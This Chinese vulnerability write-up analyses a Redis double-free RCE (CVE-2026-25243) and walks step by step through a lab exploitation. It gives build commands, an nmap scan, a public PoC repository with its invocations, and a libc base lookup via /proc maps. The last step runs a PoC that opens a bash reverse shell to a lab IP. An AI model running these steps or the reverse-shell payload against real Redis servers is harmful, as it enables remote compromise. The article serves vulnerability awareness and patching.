redis新型RCE漏洞CVE-2026-25243深度解析|认证后双路径攻击,无痕内存破坏实现远程代码执行

admin 2026-08-12 04:29:12 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Redis高危认证远程代码执行漏洞CVE-2026-25243存在两条独立攻击路径,底层均为双重释放缺陷,可绕过官方补丁实现无痕远程代码执行。漏洞利用不破坏业务数据且日志隐蔽,攻击门槛低,已有公开POC。受影响版本包括Redis6.2.22、7.4.9及8.6.4及以下版本。企业需立即自查受影响版本并升级至最新补丁,同时限制高危命令访问权限。 综合评分: 89 文章分类: 漏洞分析,渗透测试,红队,安全工具,应急响应


cover_image

redis 新型 RCE 漏洞 CVE-2026-25243 深度解析|认证后双路径攻击,无痕内存破坏实现远程代码执行

three安全之路

2026年7月28日 19:04 四川

在小说阅读器读本章

去阅读

导语: Redis高危认证远程代码执行漏洞CVE-2026-25243曝出补丁绕过新变种,该漏洞存在两条完全独立的攻击路径,均可触发堆双重释放(Double Free),最终实现远程代码执行。漏洞利用全程不会破坏业务数据,日志特征极少,隐蔽性远超传统攻击方式,企业需立刻开展资产自查加固。


一、漏洞概况

| 项目 | 详情 | | — | — | | 漏洞名称 | CVE-2026-25243 Redis 认证后远程代码执行(新变种绕过漏洞) | | 漏洞原理 | 两条独立内存破坏路径,底层均为双重释放缺陷 | | 受影响版本 | Redis ≤ 6.2.22、Redis ≤ 7.4.9、Redis ≤ 8.6.4 |

漏洞原理详解

漏洞存在两条独立内存破坏路径,底层均为双重释放(Double Free)缺陷:

路径一:zipmap 路径(原漏洞)

执行 RESTORE 加载恶意 DUMP 序列化载荷时,遗留哈希 zipmap 校验与转换逻辑不一致。超长 5 字节长度标识通过校验,但 zipmapNext 仅解析 1 字节长度,造成堆越界读取;内存释放逻辑重复调用 sdsfree,触发静默 Double Free(jemalloc 分配器下服务不会直接崩溃),可控类型混淆。

路径二:Stream 消费组路径(补丁绕过新变种)

Redis 加载 RDB 恢复 Stream 消费者组数据时,多条消费者引用同一条消息会共用同一个 streamNACK 对象;删除消费者后内存释放,再次删除另一个关联消费者会重复释放同一块内存,形成 UAF + Double Free 组合缺陷,成功绕过官方早期补丁。


二、完整攻击链

双重释放堆破坏 → 堆重叠 / 类型混淆 → 可控任意内存读写 → 泄露 ASLR/PIE/libc 基址 → 劫持哈希表dictType函数指针 → 执行system()/execve实现 RCE。

三、攻击特点

✅ 默认配置即可利用:Redis 默认关闭 DEBUG 命令、开启 ASLR 防护,无需调试权限 ✅ 无痕攻击:利用过程不篡改业务数据,无明显崩溃日志,溯源难度极高 ✅ 两种利用方案:libc system 方案可 fork 子进程执行命令,Redis 服务持续运行,隐蔽性更强


四、攻击前置条件

  • 拥有 Redis 有效访问权限(无密码裸奔实例、持有正确 requirepass 密码)
  • 账号未通过 ACL 拦截 RESTOREXGROUPEVAL 高危命令
  • 网络可连通 Redis 默认 6379 端口
  • 仅 Linux x86_64 环境可完整实现 RCE,Windows 平台利用难度极大

五、漏洞复现环境搭建(Linux)

搭建命令

  wget https://download.redis.io/releases/redis-8.6.2.tar.gz
  tar xzf redis-8.6.2.tar.gz
  下载编译包

  cd redis-8.6.2
  进入目录

  make
  编译

  src/redis-server --port 6379 --protected-mode no --enable-debug-command yes &
  启动 Redis, & 的意思是让程序在后台运行,不占着终端

六、漏洞检测与利用完整流程

Step 1:端口探测与版本识别(Nmap)

nmap -p 6379 -sV 目标i

Step 2:漏洞 POC 检测

漏洞poc仓库:

https://github.com/dinosn/CVE-2026-25243

使用命令

python exploits\poc_typeconfusion.py --host <目标IP> --port 6379 --flen 60

工具扫描,返回 HEAP OVERLAP CONFIRMED 就是漏洞存在。

Step 3:获取 Shell

需要先获取 system() 函数的内存地址。

获取方式有两种:

方法一(ASLR 未关闭):先利用漏洞的内存泄露能力,读取 malloc@GOT

获取 libc 基址,再计算 system 地址 = libc 基址 + 系统 libc 中 system 的偏移量。

方法二(ASLR 已关闭):直接读取 /proc/PID/maps 获取 libc 基址,固定不变。

  1. 获取 libc 基址与 system 地址

 (本次测试环境关闭 ASLR;服务器默认开启 ASLR 时,必须先内存泄露获取基址、动态计算偏移。  )

&nbsp; 获取 libc
&nbsp; # 1. 获取 Redis PID
&nbsp; pgrep redis-server

&nbsp; # 2. 读取 libc 基址
&nbsp; cat /proc/$(pgrep redis-server)/maps | grep libc | head -1

&nbsp; # 3. 计算 system 地址
&nbsp; # libc 基址 + 0x53910 = system 地址
  1. 修改 POC 偏移量 编辑 exploits\poc_rce_aslr_pie_rop.py,填入计算后的 system 地址:

  1. 执行利用,获取 Shell
python exploits\poc_rce_aslr_pie_rop.py --host 192.168.229.131 --port 6379 --cmd "bash -c 'bash -i >& &nbsp;/dev/tcp/192.168.229.1/4444 0>&1' &"


CVE-2026-25243 最大威胁在于存在双重攻击链路,官方原始补丁仅修复 zipmap 路径,而 Stream 消费组 NACK 漏洞形成完整绕过链。漏洞利用不破坏业务缓存、日志隐蔽,搭配公开 POC 大幅降低攻击门槛。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:three安全之路 《redis 新型 RCE 漏洞 CVE-2026-25243 深度解析|认证后双路径攻击,无痕内存破坏实现远程代码执行》

    评论:0   参与:  0